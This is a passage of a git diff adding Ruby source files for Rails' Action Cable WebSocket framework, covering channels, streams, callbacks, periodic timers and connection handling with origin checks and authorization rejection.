+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require "active_support"
+require "active_support/rails"
+require_relative "action_cable/version"
+
+module ActionCable
+  extend ActiveSupport::Autoload
+
+  INTERNAL = {
+    message_types: {
+      welcome: "welcome".freeze,
+      ping: "ping".freeze,
+      confirmation: "confirm_subscription".freeze,
+      rejection: "reject_subscription".freeze
+    },
+    default_mount_path: "/cable".freeze,
+    protocols: ["actioncable-v1-json".freeze, "actioncable-unsupported".freeze].freeze
+  }
+
+  # Singleton instance of the server
+  module_function def server
+    @server ||= ActionCable::Server::Base.new
+  end
+
+  autoload :Server
+  autoload :Connection
+  autoload :Channel
+  autoload :RemoteConnections
+  autoload :SubscriptionAdapter
+end
diff --git a/actioncable/lib/action_cable/channel.rb b/actioncable/lib/action_cable/channel.rb
new file mode 100644
index 0000000000..d2f6fbbbc7
--- /dev/null
+++ b/actioncable/lib/action_cable/channel.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Channel
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :Base
+      autoload :Broadcasting
+      autoload :Callbacks
+      autoload :Naming
+      autoload :PeriodicTimers
+      autoload :Streams
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/channel/base.rb b/actioncable/lib/action_cable/channel/base.rb
new file mode 100644
index 0000000000..c5ad749bfe
--- /dev/null
+++ b/actioncable/lib/action_cable/channel/base.rb
@@ -0,0 +1,305 @@
+# frozen_string_literal: true
+
+require "set"
+
+module ActionCable
+  module Channel
+    # The channel provides the basic structure of grouping behavior into logical units when communicating over the WebSocket connection.
+    # You can think of a channel like a form of controller, but one that's capable of pushing content to the subscriber in addition to simply
+    # responding to the subscriber's direct requests.
+    #
+    # Channel instances are long-lived. A channel object will be instantiated when the cable consumer becomes a subscriber, and then
+    # lives until the consumer disconnects. This may be seconds, minutes, hours, or even days. That means you have to take special care
+    # not to do anything silly in a channel that would balloon its memory footprint or whatever. The references are forever, so they won't be released
+    # as is normally the case with a controller instance that gets thrown away after every request.
+    #
+    # Long-lived channels (and connections) also mean you're responsible for ensuring that the data is fresh. If you hold a reference to a user
+    # record, but the name is changed while that reference is held, you may be sending stale data if you don't take precautions to avoid it.
+    #
+    # The upside of long-lived channel instances is that you can use instance variables to keep reference to objects that future subscriber requests
+    # can interact with. Here's a quick example:
+    #
+    #   class ChatChannel < ApplicationCable::Channel
+    #     def subscribed
+    #       @room = Chat::Room[params[:room_number]]
+    #     end
+    #
+    #     def speak(data)
+    #       @room.speak data, user: current_user
+    #     end
+    #   end
+    #
+    # The #speak action simply uses the Chat::Room object that was created when the channel was first subscribed to by the consumer when that
+    # subscriber wants to say something in the room.
+    #
+    # == Action processing
+    #
+    # Unlike subclasses of ActionController::Base, channels do not follow a RESTful
+    # constraint form for their actions. Instead, Action Cable operates through a
+    # remote-procedure call model. You can declare any public method on the
+    # channel (optionally taking a <tt>data</tt> argument), and this method is
+    # automatically exposed as callable to the client.
+    #
+    # Example:
+    #
+    #   class AppearanceChannel < ApplicationCable::Channel
+    #     def subscribed
+    #       @connection_token = generate_connection_token
+    #     end
+    #
+    #     def unsubscribed
+    #       current_user.disappear @connection_token
+    #     end
+    #
+    #     def appear(data)
+    #       current_user.appear @connection_token, on: data['appearing_on']
+    #     end
+    #
+    #     def away
+    #       current_user.away @connection_token
+    #     end
+    #
+    #     private
+    #       def generate_connection_token
+    #         SecureRandom.hex(36)
+    #       end
+    #   end
+    #
+    # In this example, the subscribed and unsubscribed methods are not callable methods, as they
+    # were already declared in ActionCable::Channel::Base, but <tt>#appear</tt>
+    # and <tt>#away</tt> are. <tt>#generate_connection_token</tt> is also not
+    # callable, since it's a private method. You'll see that appear accepts a data
+    # parameter, which it then uses as part of its model call. <tt>#away</tt>
+    # does not, since it's simply a trigger action.
+    #
+    # Also note that in this example, <tt>current_user</tt> is available because
+    # it was marked as an identifying attribute on the connection. All such
+    # identifiers will automatically create a delegation method of the same name
+    # on the channel instance.
+    #
+    # == Rejecting subscription requests
+    #
+    # A channel can reject a subscription request in the #subscribed callback by
+    # invoking the #reject method:
+    #
+    #   class ChatChannel < ApplicationCable::Channel
+    #     def subscribed
+    #       @room = Chat::Room[params[:room_number]]
+    #       reject unless current_user.can_access?(@room)
+    #     end
+    #   end
+    #
+    # In this example, the subscription will be rejected if the
+    # <tt>current_user</tt> does not have access to the chat room. On the
+    # client-side, the <tt>Channel#rejected</tt> callback will get invoked when
+    # the server rejects the subscription request.
+    class Base
+      include Callbacks
+      include PeriodicTimers
+      include Streams
+      include Naming
+      include Broadcasting
+
+      attr_reader :params, :connection, :identifier
+      delegate :logger, to: :connection
+
+      class << self
+        # A list of method names that should be considered actions. This
+        # includes all public instance methods on a channel, less
+        # any internal methods (defined on Base), adding back in
+        # any methods that are internal, but still exist on the class
+        # itself.
+        #
+        # ==== Returns
+        # * <tt>Set</tt> - A set of all methods that should be considered actions.
+        def action_methods
+          @action_methods ||= begin
+            # All public instance methods of this class, including ancestors
+            methods = (public_instance_methods(true) -
+              # Except for public instance methods of Base and its ancestors
+              ActionCable::Channel::Base.public_instance_methods(true) +
+              # Be sure to include shadowed public instance methods of this class
+              public_instance_methods(false)).uniq.map(&:to_s)
+            methods.to_set
+          end
+        end
+
+        private
+          # action_methods are cached and there is sometimes need to refresh
+          # them. ::clear_action_methods! allows you to do that, so next time
+          # you run action_methods, they will be recalculated.
+          def clear_action_methods! # :doc:
+            @action_methods = nil
+          end
+
+          # Refresh the cached action_methods when a new action_method is added.
+          def method_added(name) # :doc:
+            super
+            clear_action_methods!
+          end
+      end
+
+      def initialize(connection, identifier, params = {})
+        @connection = connection
+        @identifier = identifier
+        @params     = params
+
+        # When a channel is streaming via pubsub, we want to delay the confirmation
+        # transmission until pubsub subscription is confirmed.
+        #
+        # The counter starts at 1 because it's awaiting a call to #subscribe_to_channel
+        @defer_subscription_confirmation_counter = Concurrent::AtomicFixnum.new(1)
+
+        @reject_subscription = nil
+        @subscription_confirmation_sent = nil
+
+        delegate_connection_identifiers
+      end
+
+      # Extract the action name from the passed data and process it via the channel. The process will ensure
+      # that the action requested is a public method on the channel declared by the user (so not one of the callbacks
+      # like #subscribed).
+      def perform_action(data)
+        action = extract_action(data)
+
+        if processable_action?(action)
+          payload = { channel_class: self.class.name, action: action, data: data }
+          ActiveSupport::Notifications.instrument("perform_action.action_cable", payload) do
+            dispatch_action(action, data)
+          end
+        else
+          logger.error "Unable to process #{action_signature(action, data)}"
+        end
+      end
+
+      # This method is called after subscription has been added to the connection
+      # and confirms or rejects the subscription.
+      def subscribe_to_channel
+        run_callbacks :subscribe do
+          subscribed
+        end
+
+        reject_subscription if subscription_rejected?
+        ensure_confirmation_sent
+      end
+
+      # Called by the cable connection when it's cut, so the channel has a chance to cleanup with callbacks.
+      # This method is not intended to be called directly by the user. Instead, overwrite the #unsubscribed callback.
+      def unsubscribe_from_channel # :nodoc:
+        run_callbacks :unsubscribe do
+          unsubscribed
+        end
+      end
+
+      private
+        # Called once a consumer has become a subscriber of the channel. Usually the place to setup any streams
+        # you want this channel to be sending to the subscriber.
+        def subscribed # :doc:
+          # Override in subclasses
+        end
+
+        # Called once a consumer has cut its cable connection. Can be used for cleaning up connections or marking
+        # users as offline or the like.
+        def unsubscribed # :doc:
+          # Override in subclasses
+        end
+
+        # Transmit a hash of data to the subscriber. The hash will automatically be wrapped in a JSON envelope with
+        # the proper channel identifier marked as the recipient.
+        def transmit(data, via: nil) # :doc:
+          status = "#{self.class.name} transmitting #{data.inspect.truncate(300)}"
+          status += " (via #{via})" if via
+          logger.debug(status)
+
+          payload = { channel_class: self.class.name, data: data, via: via }
+          ActiveSupport::Notifications.instrument("transmit.action_cable", payload) do
+            connection.transmit identifier: @identifier, message: data
+          end
+        end
+
+        def ensure_confirmation_sent # :doc:
+          return if subscription_rejected?
+          @defer_subscription_confirmation_counter.decrement
+          transmit_subscription_confirmation unless defer_subscription_confirmation?
+        end
+
+        def defer_subscription_confirmation! # :doc:
+          @defer_subscription_confirmation_counter.increment
+        end
+
+        def defer_subscription_confirmation? # :doc:
+          @defer_subscription_confirmation_counter.value > 0
+        end
+
+        def subscription_confirmation_sent? # :doc:
+          @subscription_confirmation_sent
+        end
+
+        def reject # :doc:
+          @reject_subscription = true
+        end
+
+        def subscription_rejected? # :doc:
+          @reject_subscription
+        end
+
+        def delegate_connection_identifiers
+          connection.identifiers.each do |identifier|
+            define_singleton_method(identifier) do
+              connection.send(identifier)
+            end
+          end
+        end
+
+        def extract_action(data)
+          (data["action"].presence || :receive).to_sym
+        end
+
+        def processable_action?(action)
+          self.class.action_methods.include?(action.to_s) unless subscription_rejected?
+        end
+
+        def dispatch_action(action, data)
+          logger.info action_signature(action, data)
+
+          if method(action).arity == 1
+            public_send action, data
+          else
+            public_send action
+          end
+        end
+
+        def action_signature(action, data)
+          "#{self.class.name}##{action}".dup.tap do |signature|
+            if (arguments = data.except("action")).any?
+              signature << "(#{arguments.inspect})"
+            end
+          end
+        end
+
+        def transmit_subscription_confirmation
+          unless subscription_confirmation_sent?
+            logger.info "#{self.class.name} is transmitting the subscription confirmation"
+
+            ActiveSupport::Notifications.instrument("transmit_subscription_confirmation.action_cable", channel_class: self.class.name) do
+              connection.transmit identifier: @identifier, type: ActionCable::INTERNAL[:message_types][:confirmation]
+              @subscription_confirmation_sent = true
+            end
+          end
+        end
+
+        def reject_subscription
+          connection.subscriptions.remove_subscription self
+          transmit_subscription_rejection
+        end
+
+        def transmit_subscription_rejection
+          logger.info "#{self.class.name} is transmitting the subscription rejection"
+
+          ActiveSupport::Notifications.instrument("transmit_subscription_rejection.action_cable", channel_class: self.class.name) do
+            connection.transmit identifier: @identifier, type: ActionCable::INTERNAL[:message_types][:rejection]
+          end
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/channel/broadcasting.rb b/actioncable/lib/action_cable/channel/broadcasting.rb
new file mode 100644
index 0000000000..acc791817b
--- /dev/null
+++ b/actioncable/lib/action_cable/channel/broadcasting.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/to_param"
+
+module ActionCable
+  module Channel
+    module Broadcasting
+      extend ActiveSupport::Concern
+
+      delegate :broadcasting_for, to: :class
+
+      class_methods do
+        # Broadcast a hash to a unique broadcasting for this <tt>model</tt> in this channel.
+        def broadcast_to(model, message)
+          ActionCable.server.broadcast(broadcasting_for([ channel_name, model ]), message)
+        end
+
+        def broadcasting_for(model) #:nodoc:
+          case
+          when model.is_a?(Array)
+            model.map { |m| broadcasting_for(m) }.join(":")
+          when model.respond_to?(:to_gid_param)
+            model.to_gid_param
+          else
+            model.to_param
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/channel/callbacks.rb b/actioncable/lib/action_cable/channel/callbacks.rb
new file mode 100644
index 0000000000..4223c0d996
--- /dev/null
+++ b/actioncable/lib/action_cable/channel/callbacks.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "active_support/callbacks"
+
+module ActionCable
+  module Channel
+    module Callbacks
+      extend  ActiveSupport::Concern
+      include ActiveSupport::Callbacks
+
+      included do
+        define_callbacks :subscribe
+        define_callbacks :unsubscribe
+      end
+
+      class_methods do
+        def before_subscribe(*methods, &block)
+          set_callback(:subscribe, :before, *methods, &block)
+        end
+
+        def after_subscribe(*methods, &block)
+          set_callback(:subscribe, :after, *methods, &block)
+        end
+        alias_method :on_subscribe, :after_subscribe
+
+        def before_unsubscribe(*methods, &block)
+          set_callback(:unsubscribe, :before, *methods, &block)
+        end
+
+        def after_unsubscribe(*methods, &block)
+          set_callback(:unsubscribe, :after, *methods, &block)
+        end
+        alias_method :on_unsubscribe, :after_unsubscribe
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/channel/naming.rb b/actioncable/lib/action_cable/channel/naming.rb
new file mode 100644
index 0000000000..03a5dcd3a0
--- /dev/null
+++ b/actioncable/lib/action_cable/channel/naming.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Channel
+    module Naming
+      extend ActiveSupport::Concern
+
+      class_methods do
+        # Returns the name of the channel, underscored, without the <tt>Channel</tt> ending.
+        # If the channel is in a namespace, then the namespaces are represented by single
+        # colon separators in the channel name.
+        #
+        #   ChatChannel.channel_name # => 'chat'
+        #   Chats::AppearancesChannel.channel_name # => 'chats:appearances'
+        #   FooChats::BarAppearancesChannel.channel_name # => 'foo_chats:bar_appearances'
+        def channel_name
+          @channel_name ||= name.sub(/Channel$/, "").gsub("::", ":").underscore
+        end
+      end
+
+      # Delegates to the class' <tt>channel_name</tt>
+      delegate :channel_name, to: :class
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/channel/periodic_timers.rb b/actioncable/lib/action_cable/channel/periodic_timers.rb
new file mode 100644
index 0000000000..830b3efa3c
--- /dev/null
+++ b/actioncable/lib/action_cable/channel/periodic_timers.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Channel
+    module PeriodicTimers
+      extend ActiveSupport::Concern
+
+      included do
+        class_attribute :periodic_timers, instance_reader: false, default: []
+
+        after_subscribe   :start_periodic_timers
+        after_unsubscribe :stop_periodic_timers
+      end
+
+      module ClassMethods
+        # Periodically performs a task on the channel, like updating an online
+        # user counter, polling a backend for new status messages, sending
+        # regular "heartbeat" messages, or doing some internal work and giving
+        # progress updates.
+        #
+        # Pass a method name or lambda argument or provide a block to call.
+        # Specify the calling period in seconds using the <tt>every:</tt>
+        # keyword argument.
+        #
+        #     periodically :transmit_progress, every: 5.seconds
+        #
+        #     periodically every: 3.minutes do
+        #       transmit action: :update_count, count: current_count
+        #     end
+        #
+        def periodically(callback_or_method_name = nil, every:, &block)
+          callback =
+            if block_given?
+              raise ArgumentError, "Pass a block or provide a callback arg, not both" if callback_or_method_name
+              block
+            else
+              case callback_or_method_name
+              when Proc
+                callback_or_method_name
+              when Symbol
+                -> { __send__ callback_or_method_name }
+              else
+                raise ArgumentError, "Expected a Symbol method name or a Proc, got #{callback_or_method_name.inspect}"
+              end
+            end
+
+          unless every.kind_of?(Numeric) && every > 0
+            raise ArgumentError, "Expected every: to be a positive number of seconds, got #{every.inspect}"
+          end
+
+          self.periodic_timers += [[ callback, every: every ]]
+        end
+      end
+
+      private
+        def active_periodic_timers
+          @active_periodic_timers ||= []
+        end
+
+        def start_periodic_timers
+          self.class.periodic_timers.each do |callback, options|
+            active_periodic_timers << start_periodic_timer(callback, every: options.fetch(:every))
+          end
+        end
+
+        def start_periodic_timer(callback, every:)
+          connection.server.event_loop.timer every do
+            connection.worker_pool.async_exec self, connection: connection, &callback
+          end
+        end
+
+        def stop_periodic_timers
+          active_periodic_timers.each { |timer| timer.shutdown }
+          active_periodic_timers.clear
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/channel/streams.rb b/actioncable/lib/action_cable/channel/streams.rb
new file mode 100644
index 0000000000..81c2c38064
--- /dev/null
+++ b/actioncable/lib/action_cable/channel/streams.rb
@@ -0,0 +1,176 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Channel
+    # Streams allow channels to route broadcastings to the subscriber. A broadcasting is, as discussed elsewhere, a pubsub queue where any data
+    # placed into it is automatically sent to the clients that are connected at that time. It's purely an online queue, though. If you're not
+    # streaming a broadcasting at the very moment it sends out an update, you will not get that update, even if you connect after it has been sent.
+    #
+    # Most commonly, the streamed broadcast is sent straight to the subscriber on the client-side. The channel just acts as a connector between
+    # the two parties (the broadcaster and the channel subscriber). Here's an example of a channel that allows subscribers to get all new
+    # comments on a given page:
+    #
+    #   class CommentsChannel < ApplicationCable::Channel
+    #     def follow(data)
+    #       stream_from "comments_for_#{data['recording_id']}"
+    #     end
+    #
+    #     def unfollow
+    #       stop_all_streams
+    #     end
+    #   end
+    #
+    # Based on the above example, the subscribers of this channel will get whatever data is put into the,
+    # let's say, <tt>comments_for_45</tt> broadcasting as soon as it's put there.
+    #
+    # An example broadcasting for this channel looks like so:
+    #
+    #   ActionCable.server.broadcast "comments_for_45", author: 'DHH', content: 'Rails is just swell'
+    #
+    # If you have a stream that is related to a model, then the broadcasting used can be generated from the model and channel.
+    # The following example would subscribe to a broadcasting like <tt>comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE</tt>.
+    #
+    #   class CommentsChannel < ApplicationCable::Channel
+    #     def subscribed
+    #       post = Post.find(params[:id])
+    #       stream_for post
+    #     end
+    #   end
+    #
+    # You can then broadcast to this channel using:
+    #
+    #   CommentsChannel.broadcast_to(@post, @comment)
+    #
+    # If you don't just want to parlay the broadcast unfiltered to the subscriber, you can also supply a callback that lets you alter what is sent out.
+    # The below example shows how you can use this to provide performance introspection in the process:
+    #
+    #   class ChatChannel < ApplicationCable::Channel
+    #     def subscribed
+    #       @room = Chat::Room[params[:room_number]]
+    #
+    #       stream_for @room, coder: ActiveSupport::JSON do |message|
+    #         if message['originated_at'].present?
+    #           elapsed_time = (Time.now.to_f - message['originated_at']).round(2)
+    #
+    #           ActiveSupport::Notifications.instrument :performance, measurement: 'Chat.message_delay', value: elapsed_time, action: :timing
+    #           logger.info "Message took #{elapsed_time}s to arrive"
+    #         end
+    #
+    #         transmit message
+    #       end
+    #     end
+    #   end
+    #
+    # You can stop streaming from all broadcasts by calling #stop_all_streams.
+    module Streams
+      extend ActiveSupport::Concern
+
+      included do
+        on_unsubscribe :stop_all_streams
+      end
+
+      # Start streaming from the named <tt>broadcasting</tt> pubsub queue. Optionally, you can pass a <tt>callback</tt> that'll be used
+      # instead of the default of just transmitting the updates straight to the subscriber.
+      # Pass <tt>coder: ActiveSupport::JSON</tt> to decode messages as JSON before passing to the callback.
+      # Defaults to <tt>coder: nil</tt> which does no decoding, passes raw messages.
+      def stream_from(broadcasting, callback = nil, coder: nil, &block)
+        broadcasting = String(broadcasting)
+
+        # Don't send the confirmation until pubsub#subscribe is successful
+        defer_subscription_confirmation!
+
+        # Build a stream handler by wrapping the user-provided callback with
+        # a decoder or defaulting to a JSON-decoding retransmitter.
+        handler = worker_pool_stream_handler(broadcasting, callback || block, coder: coder)
+        streams << [ broadcasting, handler ]
+
+        connection.server.event_loop.post do
+          pubsub.subscribe(broadcasting, handler, lambda do
+            ensure_confirmation_sent
+            logger.info "#{self.class.name} is streaming from #{broadcasting}"
+          end)
+        end
+      end
+
+      # Start streaming the pubsub queue for the <tt>model</tt> in this channel. Optionally, you can pass a
+      # <tt>callback</tt> that'll be used instead of the default of just transmitting the updates straight
+      # to the subscriber.
+      #
+      # Pass <tt>coder: ActiveSupport::JSON</tt> to decode messages as JSON before passing to the callback.
+      # Defaults to <tt>coder: nil</tt> which does no decoding, passes raw messages.
+      def stream_for(model, callback = nil, coder: nil, &block)
+        stream_from(broadcasting_for([ channel_name, model ]), callback || block, coder: coder)
+      end
+
+      # Unsubscribes all streams associated with this channel from the pubsub queue.
+      def stop_all_streams
+        streams.each do |broadcasting, callback|
+          pubsub.unsubscribe broadcasting, callback
+          logger.info "#{self.class.name} stopped streaming from #{broadcasting}"
+        end.clear
+      end
+
+      private
+        delegate :pubsub, to: :connection
+
+        def streams
+          @_streams ||= []
+        end
+
+        # Always wrap the outermost handler to invoke the user handler on the
+        # worker pool rather than blocking the event loop.
+        def worker_pool_stream_handler(broadcasting, user_handler, coder: nil)
+          handler = stream_handler(broadcasting, user_handler, coder: coder)
+
+          -> message do
+            connection.worker_pool.async_invoke handler, :call, message, connection: connection
+          end
+        end
+
+        # May be overridden to add instrumentation, logging, specialized error
+        # handling, or other forms of handler decoration.
+        #
+        # TODO: Tests demonstrating this.
+        def stream_handler(broadcasting, user_handler, coder: nil)
+          if user_handler
+            stream_decoder user_handler, coder: coder
+          else
+            default_stream_handler broadcasting, coder: coder
+          end
+        end
+
+        # May be overridden to change the default stream handling behavior
+        # which decodes JSON and transmits to the client.
+        #
+        # TODO: Tests demonstrating this.
+        #
+        # TODO: Room for optimization. Update transmit API to be coder-aware
+        # so we can no-op when pubsub and connection are both JSON-encoded.
+        # Then we can skip decode+encode if we're just proxying messages.
+        def default_stream_handler(broadcasting, coder:)
+          coder ||= ActiveSupport::JSON
+          stream_transmitter stream_decoder(coder: coder), broadcasting: broadcasting
+        end
+
+        def stream_decoder(handler = identity_handler, coder:)
+          if coder
+            -> message { handler.(coder.decode(message)) }
+          else
+            handler
+          end
+        end
+
+        def stream_transmitter(handler = identity_handler, broadcasting:)
+          via = "streamed from #{broadcasting}"
+
+          -> (message) do
+            transmit handler.(message), via: via
+          end
+        end
+
+        def identity_handler
+          -> message { message }
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection.rb b/actioncable/lib/action_cable/connection.rb
new file mode 100644
index 0000000000..804b89a707
--- /dev/null
+++ b/actioncable/lib/action_cable/connection.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Connection
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :Authorization
+      autoload :Base
+      autoload :ClientSocket
+      autoload :Identification
+      autoload :InternalChannel
+      autoload :MessageBuffer
+      autoload :Stream
+      autoload :StreamEventLoop
+      autoload :Subscriptions
+      autoload :TaggedLoggerProxy
+      autoload :WebSocket
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/authorization.rb b/actioncable/lib/action_cable/connection/authorization.rb
new file mode 100644
index 0000000000..a22179d988
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/authorization.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Connection
+    module Authorization
+      class UnauthorizedError < StandardError; end
+
+      # Closes the \WebSocket connection if it is open and returns a 404 "File not Found" response.
+      def reject_unauthorized_connection
+        logger.error "An unauthorized connection attempt was rejected"
+        raise UnauthorizedError
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/connection/base.rb b/actioncable/lib/action_cable/connection/base.rb
new file mode 100644
index 0000000000..8dbafe5105
--- /dev/null
+++ b/actioncable/lib/action_cable/connection/base.rb
@@ -0,0 +1,260 @@
+# frozen_string_literal: true
+
+require "action_dispatch"
+
+module ActionCable
+  module Connection
+    # For every WebSocket connection the Action Cable server accepts, a Connection object will be instantiated. This instance becomes the parent
+    # of all of the channel subscriptions that are created from there on. Incoming messages are then routed to these channel subscriptions
+    # based on an identifier sent by the Action Cable consumer. The Connection itself does not deal with any specific application logic beyond
+    # authentication and authorization.
+    #
+    # Here's a basic example:
+    #
+    #   module ApplicationCable
+    #     class Connection < ActionCable::Connection::Base
+    #       identified_by :current_user
+    #
+    #       def connect
+    #         self.current_user = find_verified_user
+    #         logger.add_tags current_user.name
+    #       end
+    #
+    #       def disconnect
+    #         # Any cleanup work needed when the cable connection is cut.
+    #       end
+    #
+    #       private
+    #         def find_verified_user
+    #           User.find_by_identity(cookies.signed[:identity_id]) ||
+    #             reject_unauthorized_connection
+    #         end
+    #     end
+    #   end
+    #
+    # First, we declare that this connection can be identified by its current_user. This allows us to later be able to find all connections
+    # established for that current_user (and potentially disconnect them). You can declare as many
+    # identification indexes as you like. Declaring an identification means that an attr_accessor is automatically set for that key.
+    #
+    # Second, we rely on the fact that the WebSocket connection is established with the cookies from the domain being sent along. This makes
+    # it easy to use signed cookies that were set when logging in via a web interface to authorize the WebSocket connection.
+    #
+    # Finally, we add a tag to the connection-specific logger with the name of the current user to easily distinguish their messages in the log.
+    #
+    # Pretty simple, eh?
+    class Base
+      include Identification
+      include InternalChannel
+      include Authorization
+
+      attr_reader :server, :env, :subscriptions, :logger, :worker_pool, :protocol
+      delegate :event_loop, :pubsub, to: :server
+
+      def initialize(server, env, coder: ActiveSupport::JSON)
+        @server, @env, @coder = server, env, coder
+
+        @worker_pool = server.worker_pool
+        @logger = new_tagged_logger
+
+        @websocket      = ActionCable::Connection::WebSocket.new(env, self, event_loop)
+        @subscriptions  = ActionCable::Connection::Subscriptions.new(self)
+        @message_buffer = ActionCable::Connection::MessageBuffer.new(self)
+
+        @_internal_subscriptions = nil
+        @started_at = Time.now
+      end
+
+      # Called by the server when a new WebSocket connection is established. This configures the callbacks intended for overwriting by the user.
+      # This method should not be called directly -- instead rely upon on the #connect (and #disconnect) callbacks.
+      def process #:nodoc:
+        logger.info started_request_message
+
+        if websocket.possible? && allow_request_origin?
+          respond_to_successful_request
+        else
+          respond_to_invalid_request
+        end
+      end
+
+      # Decodes WebSocket messages and dispatches them to subscribed channels.
+      # WebSocket message transfer encoding is always JSON.
+      def receive(websocket_message) #:nodoc:
+        send_async :dispatch_websocket_message, websocket_message
+      end
+
+      def dispatch_websocket_message(websocket_message) #:nodoc:
+        if websocket.alive?
+          subscriptions.execute_command decode(websocket_message)
+        else
+          logger.error "Ignoring message processed after the WebSocket was closed: #{websocket_message.inspect})"
+        end
+      end
+
+      def transmit(cable_message) # :nodoc:
+        websocket.transmit encode(cable_message)
+      end
+
+      # Close the WebSocket connection.
+      def close
+        websocket.close
+      end
+
+      # Invoke a method on the connection asynchronously through the pool of thread workers.
+      def send_async(method, *arguments)
+        worker_pool.async_invoke(self, method, *arguments)
+      end
+
+      # Return a basic hash of statistics for the connection keyed with <tt>identifier</tt>, <tt>started_at</tt>, <tt>subscriptions</tt>, and <tt>request_id</tt>.
+      # This can be returned by a health check against the connection.
+      def statistics
+        {
+          identifier: connection_identifier,
+          started_at: @started_at,
+          subscriptions: subscriptions.identifiers,
+          request_id: @env["action_dispatch.request_id"]
+        }
+      end
+
+      def beat
+        transmit type: ActionCable::INTERNAL[:message_types][:ping], message: Time.now.to_i
+      end
+
+      def on_open # :nodoc:
+        send_async :handle_open
+      end
+
+      def on_message(message) # :nodoc:
+        message_buffer.append message
+      end
+
+      def on_error(message) # :nodoc:
+        # log errors to make diagnosing socket errors easier
+        logger.error "WebSocket error occurred: #{message}"
+      end
+
+      def on_close(reason, code) # :nodoc:
+        send_async :handle_close
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :websocket
+        attr_reader :message_buffer
+
+      private
+        # The request that initiated the WebSocket connection is available here. This gives access to the environment, cookies, etc.
+        def request # :doc:
+          @request ||= begin
+            environment = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
+            ActionDispatch::Request.new(environment || env)
+          end
+        end
+
+        # The cookies of the request that initiated the WebSocket connection. Useful for performing authorization checks.
+        def cookies # :doc:
+          request.cookie_jar
+        end
+
+        def encode(cable_message)
+          @coder.encode cable_message
+        end
+
+        def decode(websocket_message)
+          @coder.decode websocket_message
+        end
+
+        def handle_open
+          @protocol = websocket.protocol
+          connect if respond_to?(:connect)
+          subscribe_to_internal_channel
+          send_welcome_message
+
+          message_buffer.process!
+          server.add_connection(self)
+        rescue ActionCable::Connection::Authorization::UnauthorizedError
+          respond_to_invalid_request
+        end
+
+        def handle_close
+          logger.info finished_request_message
+
+          server.remove_connection(self)
+
+          subscriptions.unsubscribe_from_all
+          unsubscribe_from_internal_channel
+
+          disconnect if respond_to?(:disconnect)
+        end
+
+        def send_welcome_message
+          # Send welcome message to the internal connection monitor channel.
+          # This ensures the connection monitor state is reset after a successful
+          # websocket connection.
+          transmit type: ActionCable::INTERNAL[:message_types][:welcome]
+        end
+
+        def allow_request_origin?
+          return true if server.config.disable_request_forgery_protection
+
+          proto = Rack::Request.new(env).ssl? ? "https" : "http"
+          if server.config.allow_same_origin_as_host && env["HTTP_ORIGIN"] == "#{proto}://#{env['HTTP_HOST']}"
+            true
+          elsif Array(server.config.allowed_request_origins).any? { |allowed_origin|  allowed_origin === env["HTTP_ORIGIN"] }
+            true
+          else
+            logger.error("Request origin not allowed: #{env['HTTP_ORIGIN']}")
+            false
+          end
+        end
+
+        def respond_to_successful_request
+          logger.info successful_request_message
+          websocket.rack_response
+        end
+
+        def respond_to_invalid_request
+          close if websocket.alive?
+
+          logger.error invalid_request_message
+          logger.info finished_request_message
+          [ 404, { "Content-Type" => "text/plain" }, [ "Page not found" ] ]
+        end
+
+        # Tags are declared in the server but computed in the connection. This allows us per-connection tailored tags.
+        def new_tagged_logger
+          TaggedLoggerProxy.new server.logger,
+            tags: server.config.log_tags.map { |tag| tag.respond_to?(:call) ? tag.call(request) : tag.to_s.camelize }
+        end
+
+        def started_request_message
+          'Started %s "%s"%s for %s at %s' % [
+            request.request_method,
+            request.filtered_path,
+            websocket.possible? ? " [WebSocket]" : "[non-WebSocket]",
+            request.ip,
+            Time.now.to_s ]
+        end
+
+        def finished_request_message
+          'Finished "%s"%s for %s at %s' % [
+            request.filtered_path,
+            websocket.possible? ? " [WebSocket]" : "[non-WebSocket]",
+            request.ip,
+            Time.now.to_s ]
+        end
+
